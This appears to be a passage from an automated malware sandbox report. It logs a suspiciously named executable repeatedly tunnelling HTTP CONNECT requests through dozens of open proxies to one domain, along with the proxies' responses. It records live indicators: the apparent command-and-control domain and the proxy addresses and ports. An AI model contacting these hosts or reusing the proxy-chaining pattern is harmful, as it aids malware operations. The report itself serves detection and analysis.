Mar 11, 2024 16:44:01.329035997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1853	192.168.2.11	50083	192.99.207.129	44523	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.911020041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1854	192.168.2.11	54892	115.167.124.75	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.922182083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.985512972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.218152046 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1855	192.168.2.11	55134	64.227.108.25	31908	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.938694954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1856	192.168.2.11	50050	167.86.102.169	16823	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.956944942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.980978012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.142049074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.141833067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1857	192.168.2.11	50201	91.189.177.186	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.015665054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.626339912 CET	536	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:35 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3703 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundatio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1858	192.168.2.11	50102	146.59.18.246	40975	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.032255888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.173110962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.188689947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.204225063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.282314062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1859	192.168.2.11	50092	190.128.241.102	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.037792921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.173198938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.188694000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.204210997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.282259941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.375983953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:45.564142942 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:43:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 644 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 73 6f 70 6f 72 74 65 74 69 40 63 6f 64 65 31 30 30 2e 63 6f 6d 2e 70 79 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at soporteti@code100.com.py to inform th
Mar 11, 2024 16:43:46.109683990 CET	300	IN	Data Raw: 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 Data Ascii: em of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeveryth

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1860	192.168.2.11	50231	50.233.111.162	32100	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.039350033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.141839027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.142210007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1861	192.168.2.11	54939	51.68.164.77	16892	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.061463118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.173198938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.188694000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.204236984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.282259941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.375983953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1862	192.168.2.11	55146	142.54.226.214	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.086297035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1863	192.168.2.11	50222	206.189.145.23	49614	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.174396992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1864	192.168.2.11	50291	94.153.163.226	81	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.215465069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.282361031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.676363945 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1865	192.168.2.11	54983	104.247.163.61	9050	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.225332975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.282452106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.376604080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.393485069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.472131014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.579117060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:22.579087973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:46.579010010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1866	192.168.2.11	54980	118.163.120.181	58837	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.230072021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.267298937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.329477072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.329401970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.485340118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.485330105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:22.610357046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:46.625916004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:34.688477039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1867	192.168.2.11	50359	51.161.131.84	49202	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.307125092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.438572884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1868	192.168.2.11	50360	95.57.216.118	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.366511106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.960519075 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 817 Content-Type: text/html Date: Sat, 24 Apr 1971 18:03:06 GMT Expires: Sat, 24 Apr 1971 18:03:06 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1869	192.168.2.11	55015	159.223.166.21	47460	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.397172928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1870	192.168.2.11	55184	72.195.101.99	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.399907112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

